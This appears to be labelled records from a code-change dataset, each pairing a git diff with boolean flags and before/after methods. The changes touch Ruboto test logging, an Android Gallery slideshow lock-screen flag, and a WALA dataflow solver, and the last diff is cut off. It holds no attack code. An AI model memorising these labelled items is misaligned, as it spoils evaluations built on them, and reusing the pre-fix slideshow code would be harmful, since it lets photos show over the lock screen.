diff --git a/assets/src/org/ruboto/test/ActivityTest.java b/assets/src/org/ruboto/test/ActivityTest.java index 018d6ec..913e01d 100644 --- a/assets/src/org/ruboto/test/ActivityTest.java +++ b/assets/src/org/ruboto/test/ActivityTest.java @@ -1,57 +1,58 @@ package org.ruboto.test; import android.app.Activity; import android.app.ProgressDialog; import android.test.ActivityInstrumentationTestCase2; import android.util.Log; import java.io.BufferedReader; import java.io.FileReader; import java.io.InputStream; import java.io.InputStreamReader; import java.io.IOException; import junit.framework.AssertionFailedError; import junit.framework.Test; import junit.framework.TestResult; import junit.framework.TestSuite; import org.jruby.exceptions.RaiseException; import org.jruby.javasupport.JavaUtil; import org.jruby.javasupport.util.RuntimeHelpers; import org.jruby.runtime.builtin.IRubyObject; import org.ruboto.Script; public class ActivityTest extends ActivityInstrumentationTestCase2 { private final IRubyObject setup; private final IRubyObject block; public ActivityTest(Class activityClass, IRubyObject setup, String name, IRubyObject block) { super(activityClass); setName(name); this.setup = setup; this.block = block; Log.d(getClass().getName(), "Instance: " + name); } public void runTest() throws Exception { Log.d(getClass().getName(), "runTest"); Log.d(getClass().getName(), "runTest: " + getName()); Script.setUpJRuby(null); Log.d(getClass().getName(), "ruby ok"); try { final Activity activity = getActivity(); Log.d(getClass().getName(), "activity ok"); runTestOnUiThread(new Runnable() { public void run() { + Log.d(getClass().getName(), "calling setup"); RuntimeHelpers.invoke(setup.getRuntime().getCurrentContext(), setup, "call", JavaUtil.convertJavaToRuby(Script.getRuby(), activity)); Log.d(getClass().getName(), "setup ok"); RuntimeHelpers.invoke(block.getRuntime().getCurrentContext(), block, "call", JavaUtil.convertJavaToRuby(Script.getRuby(), activity)); } }); } catch (Throwable t) { throw new AssertionFailedError(t.getMessage()); } Log.d(getClass().getName(), "runTest ok"); } }
true
true
public void runTest() throws Exception { Log.d(getClass().getName(), "runTest"); Log.d(getClass().getName(), "runTest: " + getName()); Script.setUpJRuby(null); Log.d(getClass().getName(), "ruby ok"); try { final Activity activity = getActivity(); Log.d(getClass().getName(), "activity ok"); runTestOnUiThread(new Runnable() { public void run() { RuntimeHelpers.invoke(setup.getRuntime().getCurrentContext(), setup, "call", JavaUtil.convertJavaToRuby(Script.getRuby(), activity)); Log.d(getClass().getName(), "setup ok"); RuntimeHelpers.invoke(block.getRuntime().getCurrentContext(), block, "call", JavaUtil.convertJavaToRuby(Script.getRuby(), activity)); } }); } catch (Throwable t) { throw new AssertionFailedError(t.getMessage()); } Log.d(getClass().getName(), "runTest ok"); }
public void runTest() throws Exception { Log.d(getClass().getName(), "runTest"); Log.d(getClass().getName(), "runTest: " + getName()); Script.setUpJRuby(null); Log.d(getClass().getName(), "ruby ok"); try { final Activity activity = getActivity(); Log.d(getClass().getName(), "activity ok"); runTestOnUiThread(new Runnable() { public void run() { Log.d(getClass().getName(), "calling setup"); RuntimeHelpers.invoke(setup.getRuntime().getCurrentContext(), setup, "call", JavaUtil.convertJavaToRuby(Script.getRuby(), activity)); Log.d(getClass().getName(), "setup ok"); RuntimeHelpers.invoke(block.getRuntime().getCurrentContext(), block, "call", JavaUtil.convertJavaToRuby(Script.getRuby(), activity)); } }); } catch (Throwable t) { throw new AssertionFailedError(t.getMessage()); } Log.d(getClass().getName(), "runTest ok"); }
diff --git a/src/com/android/gallery3d/app/SlideshowPage.java b/src/com/android/gallery3d/app/SlideshowPage.java index 54aae67ab..d269e90ea 100644 --- a/src/com/android/gallery3d/app/SlideshowPage.java +++ b/src/com/android/gallery3d/app/SlideshowPage.java @@ -1,367 +1,367 @@ /* * Copyright (C) 2010 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.gallery3d.app; import android.app.Activity; import android.content.Intent; import android.graphics.Bitmap; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.view.MotionEvent; import com.android.gallery3d.R; import com.android.gallery3d.common.Utils; import com.android.gallery3d.data.ContentListener; import com.android.gallery3d.data.MediaItem; import com.android.gallery3d.data.MediaObject; import com.android.gallery3d.data.MediaSet; import com.android.gallery3d.data.Path; import com.android.gallery3d.glrenderer.GLCanvas; import com.android.gallery3d.ui.GLView; import com.android.gallery3d.ui.SlideshowView; import com.android.gallery3d.ui.SynchronizedHandler; import com.android.gallery3d.util.Future; import com.android.gallery3d.util.FutureListener; import java.util.ArrayList; import java.util.Random; public class SlideshowPage extends ActivityState { private static final String TAG = "SlideshowPage"; public static final String KEY_SET_PATH = "media-set-path"; public static final String KEY_ITEM_PATH = "media-item-path"; public static final String KEY_PHOTO_INDEX = "photo-index"; public static final String KEY_RANDOM_ORDER = "random-order"; public static final String KEY_REPEAT = "repeat"; public static final String KEY_DREAM = "dream"; private static final long SLIDESHOW_DELAY = 3000; // 3 seconds private static final int MSG_LOAD_NEXT_BITMAP = 1; private static final int MSG_SHOW_PENDING_BITMAP = 2; public static interface Model { public void pause(); public void resume(); public Future<Slide> nextSlide(FutureListener<Slide> listener); } public static class Slide { public Bitmap bitmap; public MediaItem item; public int index; public Slide(MediaItem item, int index, Bitmap bitmap) { this.bitmap = bitmap; this.item = item; this.index = index; } } private Handler mHandler; private Model mModel; private SlideshowView mSlideshowView; private Slide mPendingSlide = null; private boolean mIsActive = false; private final Intent mResultIntent = new Intent(); @Override protected int getBackgroundColorId() { return R.color.slideshow_background; } private final GLView mRootPane = new GLView() { @Override protected void onLayout(boolean changed, int left, int top, int right, int bottom) { mSlideshowView.layout(0, 0, right - left, bottom - top); } @Override protected boolean onTouch(MotionEvent event) { if (event.getAction() == MotionEvent.ACTION_UP) { onBackPressed(); } return true; } @Override protected void renderBackground(GLCanvas canvas) { canvas.clearBuffer(getBackgroundColor()); } }; @Override public void onCreate(Bundle data, Bundle restoreState) { super.onCreate(data, restoreState); mFlags |= (FLAG_HIDE_ACTION_BAR | FLAG_HIDE_STATUS_BAR - | FLAG_ALLOW_LOCK_WHILE_SCREEN_ON | FLAG_SHOW_WHEN_LOCKED); + | FLAG_ALLOW_LOCK_WHILE_SCREEN_ON); if (data.getBoolean(KEY_DREAM)) { // Dream screensaver only keeps screen on for plugged devices. - mFlags |= FLAG_SCREEN_ON_WHEN_PLUGGED; + mFlags |= FLAG_SCREEN_ON_WHEN_PLUGGED | FLAG_SHOW_WHEN_LOCKED; } else { // User-initiated slideshow would always keep screen on. mFlags |= FLAG_SCREEN_ON_ALWAYS; } mHandler = new SynchronizedHandler(mActivity.getGLRoot()) { @Override public void handleMessage(Message message) { switch (message.what) { case MSG_SHOW_PENDING_BITMAP: showPendingBitmap(); break; case MSG_LOAD_NEXT_BITMAP: loadNextBitmap(); break; default: throw new AssertionError(); } } }; initializeViews(); initializeData(data); } private void loadNextBitmap() { mModel.nextSlide(new FutureListener<Slide>() { @Override public void onFutureDone(Future<Slide> future) { mPendingSlide = future.get(); mHandler.sendEmptyMessage(MSG_SHOW_PENDING_BITMAP); } }); } private void showPendingBitmap() { // mPendingBitmap could be null, if // 1.) there is no more items // 2.) mModel is paused Slide slide = mPendingSlide; if (slide == null) { if (mIsActive) { mActivity.getStateManager().finishState(SlideshowPage.this); } return; } mSlideshowView.next(slide.bitmap, slide.item.getRotation()); setStateResult(Activity.RESULT_OK, mResultIntent .putExtra(KEY_ITEM_PATH, slide.item.getPath().toString()) .putExtra(KEY_PHOTO_INDEX, slide.index)); mHandler.sendEmptyMessageDelayed(MSG_LOAD_NEXT_BITMAP, SLIDESHOW_DELAY); } @Override public void onPause() { super.onPause(); mIsActive = false; mModel.pause(); mSlideshowView.release(); mHandler.removeMessages(MSG_LOAD_NEXT_BITMAP); mHandler.removeMessages(MSG_SHOW_PENDING_BITMAP); } @Override public void onResume() { super.onResume(); mIsActive = true; mModel.resume(); if (mPendingSlide != null) { showPendingBitmap(); } else { loadNextBitmap(); } } private void initializeData(Bundle data) { boolean random = data.getBoolean(KEY_RANDOM_ORDER, false); // We only want to show slideshow for images only, not videos. String mediaPath = data.getString(KEY_SET_PATH); mediaPath = FilterUtils.newFilterPath(mediaPath, FilterUtils.FILTER_IMAGE_ONLY); MediaSet mediaSet = mActivity.getDataManager().getMediaSet(mediaPath); if (random) { boolean repeat = data.getBoolean(KEY_REPEAT); mModel = new SlideshowDataAdapter(mActivity, new ShuffleSource(mediaSet, repeat), 0, null); setStateResult(Activity.RESULT_OK, mResultIntent.putExtra(KEY_PHOTO_INDEX, 0)); } else { int index = data.getInt(KEY_PHOTO_INDEX); String itemPath = data.getString(KEY_ITEM_PATH); Path path = itemPath != null ? Path.fromString(itemPath) : null; boolean repeat = data.getBoolean(KEY_REPEAT); mModel = new SlideshowDataAdapter(mActivity, new SequentialSource(mediaSet, repeat), index, path); setStateResult(Activity.RESULT_OK, mResultIntent.putExtra(KEY_PHOTO_INDEX, index)); } } private void initializeViews() { mSlideshowView = new SlideshowView(); mRootPane.addComponent(mSlideshowView); setContentPane(mRootPane); } private static MediaItem findMediaItem(MediaSet mediaSet, int index) { for (int i = 0, n = mediaSet.getSubMediaSetCount(); i < n; ++i) { MediaSet subset = mediaSet.getSubMediaSet(i); int count = subset.getTotalMediaItemCount(); if (index < count) { return findMediaItem(subset, index); } index -= count; } ArrayList<MediaItem> list = mediaSet.getMediaItem(index, 1); return list.isEmpty() ? null : list.get(0); } private static class ShuffleSource implements SlideshowDataAdapter.SlideshowSource { private static final int RETRY_COUNT = 5; private final MediaSet mMediaSet; private final Random mRandom = new Random(); private int mOrder[] = new int[0]; private final boolean mRepeat; private long mSourceVersion = MediaSet.INVALID_DATA_VERSION; private int mLastIndex = -1; public ShuffleSource(MediaSet mediaSet, boolean repeat) { mMediaSet = Utils.checkNotNull(mediaSet); mRepeat = repeat; } @Override public int findItemIndex(Path path, int hint) { return hint; } @Override public MediaItem getMediaItem(int index) { if (!mRepeat && index >= mOrder.length) return null; if (mOrder.length == 0) return null; mLastIndex = mOrder[index % mOrder.length]; MediaItem item = findMediaItem(mMediaSet, mLastIndex); for (int i = 0; i < RETRY_COUNT && item == null; ++i) { Log.w(TAG, "fail to find image: " + mLastIndex); mLastIndex = mRandom.nextInt(mOrder.length); item = findMediaItem(mMediaSet, mLastIndex); } return item; } @Override public long reload() { long version = mMediaSet.reload(); if (version != mSourceVersion) { mSourceVersion = version; int count = mMediaSet.getTotalMediaItemCount(); if (count != mOrder.length) generateOrderArray(count); } return version; } private void generateOrderArray(int totalCount) { if (mOrder.length != totalCount) { mOrder = new int[totalCount]; for (int i = 0; i < totalCount; ++i) { mOrder[i] = i; } } for (int i = totalCount - 1; i > 0; --i) { Utils.swap(mOrder, i, mRandom.nextInt(i + 1)); } if (mOrder[0] == mLastIndex && totalCount > 1) { Utils.swap(mOrder, 0, mRandom.nextInt(totalCount - 1) + 1); } } @Override public void addContentListener(ContentListener listener) { mMediaSet.addContentListener(listener); } @Override public void removeContentListener(ContentListener listener) { mMediaSet.removeContentListener(listener); } } private static class SequentialSource implements SlideshowDataAdapter.SlideshowSource { private static final int DATA_SIZE = 32; private ArrayList<MediaItem> mData = new ArrayList<MediaItem>(); private int mDataStart = 0; private long mDataVersion = MediaObject.INVALID_DATA_VERSION; private final MediaSet mMediaSet; private final boolean mRepeat; public SequentialSource(MediaSet mediaSet, boolean repeat) { mMediaSet = mediaSet; mRepeat = repeat; } @Override public int findItemIndex(Path path, int hint) { return mMediaSet.getIndexOfItem(path, hint); } @Override public MediaItem getMediaItem(int index) { int dataEnd = mDataStart + mData.size(); if (mRepeat) { int count = mMediaSet.getMediaItemCount(); if (count == 0) return null; index = index % count; } if (index < mDataStart || index >= dataEnd) { mData = mMediaSet.getMediaItem(index, DATA_SIZE); mDataStart = index; dataEnd = index + mData.size(); } return (index < mDataStart || index >= dataEnd) ? null : mData.get(index - mDataStart); } @Override public long reload() { long version = mMediaSet.reload(); if (version != mDataVersion) { mDataVersion = version; mData.clear(); } return mDataVersion; } @Override public void addContentListener(ContentListener listener) { mMediaSet.addContentListener(listener); } @Override public void removeContentListener(ContentListener listener) { mMediaSet.removeContentListener(listener); } } }
false
true
public void onCreate(Bundle data, Bundle restoreState) { super.onCreate(data, restoreState); mFlags |= (FLAG_HIDE_ACTION_BAR | FLAG_HIDE_STATUS_BAR | FLAG_ALLOW_LOCK_WHILE_SCREEN_ON | FLAG_SHOW_WHEN_LOCKED); if (data.getBoolean(KEY_DREAM)) { // Dream screensaver only keeps screen on for plugged devices. mFlags |= FLAG_SCREEN_ON_WHEN_PLUGGED; } else { // User-initiated slideshow would always keep screen on. mFlags |= FLAG_SCREEN_ON_ALWAYS; } mHandler = new SynchronizedHandler(mActivity.getGLRoot()) { @Override public void handleMessage(Message message) { switch (message.what) { case MSG_SHOW_PENDING_BITMAP: showPendingBitmap(); break; case MSG_LOAD_NEXT_BITMAP: loadNextBitmap(); break; default: throw new AssertionError(); } } }; initializeViews(); initializeData(data); }
public void onCreate(Bundle data, Bundle restoreState) { super.onCreate(data, restoreState); mFlags |= (FLAG_HIDE_ACTION_BAR | FLAG_HIDE_STATUS_BAR | FLAG_ALLOW_LOCK_WHILE_SCREEN_ON); if (data.getBoolean(KEY_DREAM)) { // Dream screensaver only keeps screen on for plugged devices. mFlags |= FLAG_SCREEN_ON_WHEN_PLUGGED | FLAG_SHOW_WHEN_LOCKED; } else { // User-initiated slideshow would always keep screen on. mFlags |= FLAG_SCREEN_ON_ALWAYS; } mHandler = new SynchronizedHandler(mActivity.getGLRoot()) { @Override public void handleMessage(Message message) { switch (message.what) { case MSG_SHOW_PENDING_BITMAP: showPendingBitmap(); break; case MSG_LOAD_NEXT_BITMAP: loadNextBitmap(); break; default: throw new AssertionError(); } } }; initializeViews(); initializeData(data); }
diff --git a/com.ibm.wala.core/src/com/ibm/wala/dataflow/IFDS/TabulationSolver.java b/com.ibm.wala.core/src/com/ibm/wala/dataflow/IFDS/TabulationSolver.java index 7c13257a6..3a2049b4e 100644 --- a/com.ibm.wala.core/src/com/ibm/wala/dataflow/IFDS/TabulationSolver.java +++ b/com.ibm.wala.core/src/com/ibm/wala/dataflow/IFDS/TabulationSolver.java @@ -1,1054 +1,1050 @@ /******************************************************************************* * Copyright (c) 2002 - 2006 IBM Corporation. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * IBM Corporation - initial API and implementation *******************************************************************************/ package com.ibm.wala.dataflow.IFDS; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.Iterator; import java.util.Map; import java.util.Set; import java.util.TreeMap; import java.util.TreeSet; import java.util.Map.Entry; import org.eclipse.core.runtime.IProgressMonitor; import com.ibm.wala.cfg.IBasicBlock; import com.ibm.wala.eclipse.util.CancelException; import com.ibm.wala.eclipse.util.CancelRuntimeException; import com.ibm.wala.eclipse.util.MonitorUtil; import com.ibm.wala.util.collections.HashMapFactory; import com.ibm.wala.util.collections.HashSetFactory; import com.ibm.wala.util.collections.Heap; import com.ibm.wala.util.collections.Iterator2Collection; import com.ibm.wala.util.collections.MapUtil; import com.ibm.wala.util.collections.ToStringComparator; import com.ibm.wala.util.debug.Assertions; import com.ibm.wala.util.heapTrace.HeapTracer; import com.ibm.wala.util.intset.IntIterator; import com.ibm.wala.util.intset.IntSet; import com.ibm.wala.util.intset.IntSetAction; import com.ibm.wala.util.intset.MutableIntSet; import com.ibm.wala.util.intset.MutableSparseIntSet; import com.ibm.wala.util.ref.ReferenceCleanser; /** * A precise interprocedural tabulation solver. * <p> * See Reps, Horwitz, Sagiv POPL 95. * <p> * This version differs in some ways from the POPL algorithm. In particular ... * <ul> * <li>to support exceptional control flow ... there may be several return sites for each call site. * <li>it supports an optional merge operator, useful for non-IFDS problems and widening. * <li>it stores summary edges at each callee instead of at each call site. * </ul> * <p> * * @param <T> type of node in the supergraph * @param <P> type of a procedure (like a box in an RSM) * @param <F> type of factoids propagated when solving this problem */ public class TabulationSolver<T, P, F> { /** * DEBUG_LEVEL: * <ul> * <li>0 No output * <li>1 Print some simple stats and warning information * <li>2 Detailed debugging * <li>3 Also print worklists * </ul> */ protected static final int DEBUG_LEVEL = 0; static protected final boolean verbose = true && ("true".equals(System.getProperty("com.ibm.wala.fixedpoint.impl.verbose")) ? true : false); static final int VERBOSE_INTERVAL = 1000; static final boolean VERBOSE_TRACE_MEMORY = false; private static int verboseCounter = 0; /** * Should we periodically clear out soft reference caches in an attempt to help the GC? */ final protected static boolean PERIODIC_WIPE_SOFT_CACHES = true; /** * Interval which defines the period to clear soft reference caches */ private final static int WIPE_SOFT_CACHE_INTERVAL = 1000000; /** * Counter for wiping soft caches */ private static int wipeCount = WIPE_SOFT_CACHE_INTERVAL; /** * The supergraph which induces this dataflow problem */ protected final ISupergraph<T, P> supergraph; /** * A map from an edge in a supergraph to a flow function */ protected final IFlowFunctionMap<T> flowFunctionMap; /** * The problem being solved. */ private final TabulationProblem<T, P, F> problem; /** * A map from Object (entry node in supergraph) -> LocalPathEdges. * * Logically, this represents a set of edges (s_p,d_i) -> (n, d_j). The data structure is chosen to attempt to save space over * representing each edge explicitly. */ final private Map<T, LocalPathEdges> pathEdges = HashMapFactory.make(); /** * A map from Object (entry node in supergraph) -> CallFlowEdges. * * Logically, this represents a set of edges (c,d_i) -> (s_p, d_j). The data structure is chosen to attempt to save space over * representing each edge explicitly. */ final private Map<T, CallFlowEdges> callFlowEdges = HashMapFactory.make(); /** * A map from Object (procedure) -> LocalSummaryEdges. * */ final protected Map<P, LocalSummaryEdges> summaryEdges = HashMapFactory.make(); /** * the set of all {@link PathEdge}s that were used as seeds during the tabulation, grouped by procedure. */ private final Map<P, Set<PathEdge<T>>> seeds = HashMapFactory.make(); /** * All seeds, stored redundantly for quick access. */ private final Set<PathEdge<T>> allSeeds = HashSetFactory.make(); /** * The worklist */ private ITabulationWorklist<T> worklist; /** * A progress monitor. can be null. */ protected final IProgressMonitor progressMonitor; /** * the path edge currently being processed in the main loop of {@link #forwardTabulateSLRPs()}; <code>null</code> if * {@link #forwardTabulateSLRPs()} is not currently running. Note that if we are applying a summary edge in * {@link #processExit(PathEdge)}, curPathEdge is modified to be the path edge terminating at the call node in the caller, to * match the behavior in {@link #processCall(PathEdge)}. */ private PathEdge<T> curPathEdge; /** * the summary edge currently being applied in {@link #processCall(PathEdge)} or {@link #processExit(PathEdge)}, or * <code>null</code> if summary edges are not currently being processed. */ private PathEdge<T> curSummaryEdge; /** * @param p a description of the dataflow problem to solve * @throws IllegalArgumentException if p is null */ protected TabulationSolver(TabulationProblem<T, P, F> p, IProgressMonitor monitor) { if (p == null) { throw new IllegalArgumentException("p is null"); } this.supergraph = p.getSupergraph(); this.flowFunctionMap = p.getFunctionMap(); this.problem = p; this.progressMonitor = monitor; } /** * Subclasses can override this to plug in a different worklist implementation. */ protected ITabulationWorklist<T> makeWorklist() { return new Worklist(); } /** * @param p a description of the dataflow problem to solve * @throws IllegalArgumentException if p is null */ public static <T, P, F> TabulationSolver<T, P, F> make(TabulationProblem<T, P, F> p) { return new TabulationSolver<T, P, F>(p, null); } /** * Solve the dataflow problem. * * @return a representation of the result */ public TabulationResult<T, P, F> solve() throws CancelException { try { initialize(); forwardTabulateSLRPs(); Result r = new Result(); return r; } catch (CancelException e) { // store a partially-tabulated result in the thrown exception. Result r = new Result(); throw new TabulationCancelException(e, r); } catch (CancelRuntimeException e) { // store a partially-tabulated result in the thrown exception. Result r = new Result(); throw new TabulationCancelException(e, r); } } /** * Start tabulation with the initial seeds. */ protected void initialize() { for (PathEdge<T> seed : problem.initialSeeds()) { addSeed(seed); } } /** * Restart tabulation from a particular path edge. Use with care. */ public void addSeed(PathEdge<T> seed) { Set<PathEdge<T>> s = MapUtil.findOrCreateSet(seeds, supergraph.getProcOf(seed.entry)); s.add(seed); allSeeds.add(seed); propagate(seed.entry, seed.d1, seed.target, seed.d2); } /** * See POPL 95 paper for this algorithm, Figure 3 * * @throws CancelException */ private void forwardTabulateSLRPs() throws CancelException { assert curPathEdge == null : "curPathEdge should not be non-null here"; if (worklist == null) { worklist = makeWorklist(); } while (worklist.size() > 0) { MonitorUtil.throwExceptionIfCanceled(progressMonitor); if (verbose) { performVerboseAction(); } if (PERIODIC_WIPE_SOFT_CACHES) { tendToSoftCaches(); } final PathEdge<T> edge = popFromWorkList(); if (DEBUG_LEVEL > 0) { System.err.println("TABULATE " + edge); } curPathEdge = edge; int j = merge(edge.entry, edge.d1, edge.target, edge.d2); if (j == -1 && DEBUG_LEVEL > 0) { System.err.println("merge -1: DROPPING"); } if (j != -1) { if (j != edge.d2) { // this means that we don't want to push the edge. instead, // we'll push the merged fact. a little tricky, but i think should // work. if (DEBUG_LEVEL > 0) { System.err.println("propagating merged fact " + j); } propagate(edge.entry, edge.d1, edge.target, j); } else { if (supergraph.isCall(edge.target)) { // [13] processCall(edge); } else if (supergraph.isExit(edge.target)) { // [21] processExit(edge); } else { // [33] processNormal(edge); } } } } curPathEdge = null; } /** * For some reason (either a bug in our code that defeats soft references, or a bad policy in the GC), leaving soft reference * caches to clear themselves out doesn't work. Help it out. * * It's unfortunate that this method exits. */ protected void tendToSoftCaches() { wipeCount++; if (wipeCount > WIPE_SOFT_CACHE_INTERVAL) { wipeCount = 0; ReferenceCleanser.clearSoftCaches(); } } /** * */ protected final void performVerboseAction() { verboseCounter++; if (verboseCounter % VERBOSE_INTERVAL == 0) { System.err.println("Tabulation Solver " + verboseCounter); System.err.println(" " + peekFromWorkList()); if (VERBOSE_TRACE_MEMORY) { ReferenceCleanser.clearSoftCaches(); System.err.println("Analyze leaks.."); HeapTracer.traceHeap(Collections.singleton(this), true); System.err.println("done analyzing leaks"); } } } /** * Handle lines [33-37] of the algorithm * * @param edge */ private void processNormal(final PathEdge<T> edge) { if (DEBUG_LEVEL > 0) { System.err.println("process normal: " + edge); } for (Iterator<? extends T> it = supergraph.getSuccNodes(edge.target); it.hasNext();) { final T m = it.next(); if (DEBUG_LEVEL > 0) { System.err.println("normal successor: " + m); } IUnaryFlowFunction f = flowFunctionMap.getNormalFlowFunction(edge.target, m); IntSet D3 = computeFlow(edge.d2, f); if (DEBUG_LEVEL > 0) { System.err.println(" reached: " + D3); } if (D3 != null) { D3.foreach(new IntSetAction() { public void act(int d3) { propagate(edge.entry, edge.d1, m, d3); } }); } } } /** * Handle lines [21 - 32] of the algorithm, propagating information from an exit node. * * Note that we've changed the way we record summary edges. Summary edges are now associated with a callee (s_p,exit), where the * original algorithm used a call, return pair in the caller. */ protected void processExit(final PathEdge<T> edge) { if (DEBUG_LEVEL > 0) { System.err.println("process exit: " + edge); } final LocalSummaryEdges summaries = findOrCreateLocalSummaryEdges(supergraph.getProcOf(edge.target)); int s_p_n = supergraph.getLocalBlockNumber(edge.entry); int x = supergraph.getLocalBlockNumber(edge.target); if (!summaries.contains(s_p_n, x, edge.d1, edge.d2)) { summaries.insertSummaryEdge(s_p_n, x, edge.d1, edge.d2); } assert curSummaryEdge == null : "curSummaryEdge should be null here"; curSummaryEdge = edge; final CallFlowEdges callFlow = findOrCreateCallFlowEdges(edge.entry); // [22] for each c /in callers(p) IntSet callFlowSourceNodes = callFlow.getCallFlowSourceNodes(edge.d1); if (callFlowSourceNodes != null) { for (IntIterator it = callFlowSourceNodes.intIterator(); it.hasNext();) { // [23] for each d4 s.t. <c,d4> -> <s_p,d1> occurred earlier int globalC = it.next(); final IntSet D4 = callFlow.getCallFlowSources(globalC, edge.d1); // [23] for each d5 s.t. <e_p,d2> -> <returnSite(c),d5> ... propagateToReturnSites(edge, supergraph.getNode(globalC), D4); } } curSummaryEdge = null; } /** * Propagate information for an "exit" edge to the appropriate return sites * * [23] for each d5 s.t. <s_p,d2> -> <returnSite(c),d5> .. * * @param edge the edge being processed * @param succ numbers of the nodes that are successors of edge.n (the return block in the callee) in the call graph. * @param c a call site of edge.s_p * @param D4 set of d1 s.t. <c, d1> -> <edge.s_p, edge.d2> was recorded as call flow */ private void propagateToReturnSites(final PathEdge<T> edge, final T c, final IntSet D4) { P proc = supergraph.getProcOf(c); final T[] entries = supergraph.getEntriesForProcedure(proc); // we iterate over each potential return site; // we might have multiple return sites due to exceptions // note that we might have different summary edges for each // potential return site, and different flow functions from this // exit block to each return site. for (Iterator<? extends T> retSites = supergraph.getReturnSites(c, supergraph.getProcOf(edge.target)); retSites.hasNext();) { final T retSite = retSites.next(); if (DEBUG_LEVEL > 1) { System.err.println("candidate return site: " + retSite + " " + supergraph.getNumber(retSite)); } // note: since we might have multiple exit nodes for the callee, (to handle exceptional returns) // not every return site might be valid for this exit node (edge.n). // so, we'll filter the logic by checking that we only process reachable return sites. // the supergraph carries the information regarding the legal successors // of the exit node if (!supergraph.hasEdge(edge.target, retSite)) { continue; } if (DEBUG_LEVEL > 1) { System.err.println("feasible return site: " + retSite); } final IFlowFunction retf = flowFunctionMap.getReturnFlowFunction(c, edge.target, retSite); if (retf instanceof IBinaryReturnFlowFunction) { propagateToReturnSiteWithBinaryFlowFunction(edge, c, D4, entries, retSite, retf); } else { final IntSet D5 = computeFlow(edge.d2, (IUnaryFlowFunction) retf); if (DEBUG_LEVEL > 1) { System.err.println("D4" + D4); System.err.println("D5 " + D5); } IntSetAction action = new IntSetAction() { public void act(final int d4) { propToReturnSite(c, entries, retSite, d4, D5); } }; D4.foreach(action); } } } /** * Propagate information for an "exit" edge to a caller return site * * [23] for each d5 s.t. <s_p,d2> -> <returnSite(c),d5> .. * * @param edge the edge being processed * @param c a call site of edge.s_p * @param D4 set of d1 s.t. <c, d1> -> <edge.s_p, edge.d2> was recorded as call flow * @param entries the blocks in the supergraph that are entries for the procedure of c * @param retSite the return site being propagated to * @param retf the flow function */ private void propagateToReturnSiteWithBinaryFlowFunction(final PathEdge edge, final T c, final IntSet D4, final T[] entries, final T retSite, final IFlowFunction retf) { D4.foreach(new IntSetAction() { public void act(final int d4) { final IntSet D5 = computeBinaryFlow(d4, edge.d2, (IBinaryReturnFlowFunction) retf); propToReturnSite(c, entries, retSite, d4, D5); } }); } /** * Propagate information to a particular return site. * * @param c the corresponding call site * @param entries entry nodes in the caller * @param retSite the return site * @param d4 a fact s.t. <c, d4> -> <callee, d2> was recorded as call flow and <callee, d2> is the source of the summary edge * being applied * @param D5 facts to propagate to return site */ private void propToReturnSite(final T c, final T[] entries, final T retSite, final int d4, final IntSet D5) { if (D5 != null) { D5.foreach(new IntSetAction() { public void act(final int d5) { // [26 - 28] // note that we've modified the algorithm here to account // for potential // multiple entry nodes. Instead of propagating the new // summary edge // with respect to one s_profOf(c), we have to propagate // for each // potential entry node s_p /in s_procof(c) for (int i = 0; i < entries.length; i++) { final T s_p = entries[i]; if (DEBUG_LEVEL > 1) { System.err.println(" do entry " + s_p); } IntSet D3 = getInversePathEdges(s_p, c, d4); if (DEBUG_LEVEL > 1) { System.err.println("D3" + D3); } if (D3 != null) { D3.foreach(new IntSetAction() { public void act(int d3) { // set curPathEdge to be consistent with its setting in processCall() when applying a summary edge curPathEdge = PathEdge.createPathEdge(s_p, d3, c, d4); propagate(s_p, d3, retSite, d5); } }); } } } }); } } /** * @param s_p * @param n * @param d2 note that s_p must be an entry for procof(n) * @return set of d1 s.t. <s_p, d1> -> <n, d2> is a path edge, or null if none found */ protected IntSet getInversePathEdges(T s_p, T n, int d2) { int number = supergraph.getLocalBlockNumber(n); LocalPathEdges lp = pathEdges.get(s_p); if (lp == null) { return null; } return lp.getInverse(number, d2); } /** * Handle lines [14 - 19] of the algorithm, propagating information into and across a call site. */ protected void processCall(final PathEdge<T> edge) { if (DEBUG_LEVEL > 0) { System.err.println("process call: " + edge); } // c:= number of the call node final int c = supergraph.getNumber(edge.target); Collection<T> allReturnSites = HashSetFactory.make(); // populate allReturnSites with return sites for missing calls. for (Iterator<? extends T> it = supergraph.getReturnSites(edge.target, null); it.hasNext();) { allReturnSites.add(it.next()); } // [14 - 16] boolean hasCallee = false; for (Iterator<? extends T> it = supergraph.getCalledNodes(edge.target); it.hasNext();) { hasCallee = true; final T callee = it.next(); if (DEBUG_LEVEL > 0) { System.err.println(" process callee: " + callee); } MutableSparseIntSet reached = MutableSparseIntSet.makeEmpty(); final Collection<T> returnSitesForCallee = Iterator2Collection.toSet(supergraph.getReturnSites(edge.target, supergraph .getProcOf(callee))); allReturnSites.addAll(returnSitesForCallee); // we modify this to handle each return site individually. Some types of problems // compute different flow functions for each return site. for (final T returnSite : returnSitesForCallee) { IUnaryFlowFunction f = flowFunctionMap.getCallFlowFunction(edge.target, callee, returnSite); // reached := {d1} that reach the callee IntSet r = computeFlow(edge.d2, f); if (r != null) { reached.addAll(r); } } // in some problems, we also want to consider flow into a callee that can never flow out // via a return. in this case, the return site is null. IUnaryFlowFunction f = flowFunctionMap.getCallFlowFunction(edge.target, callee, null); // reached := {d1} that reach the callee IntSet r = computeFlow(edge.d2, f); if (r != null) { reached.addAll(r); } if (DEBUG_LEVEL > 0) { System.err.println(" reached: " + reached); } if (reached != null) { final LocalSummaryEdges summaries = summaryEdges.get(supergraph.getProcOf(callee)); final CallFlowEdges callFlow = findOrCreateCallFlowEdges(callee); final int s_p_num = supergraph.getLocalBlockNumber(callee); reached.foreach(new IntSetAction() { public void act(final int d1) { - propagate(callee, d1, callee, d1); + // we get reuse if we _don't_ propagate a new fact to the callee entry + final boolean gotReuse = !propagate(callee, d1, callee, d1); + recordCall(edge.target, callee, d1, gotReuse); // cache the fact that we've flowed <c, d2> -> <callee, d1> by a // call flow 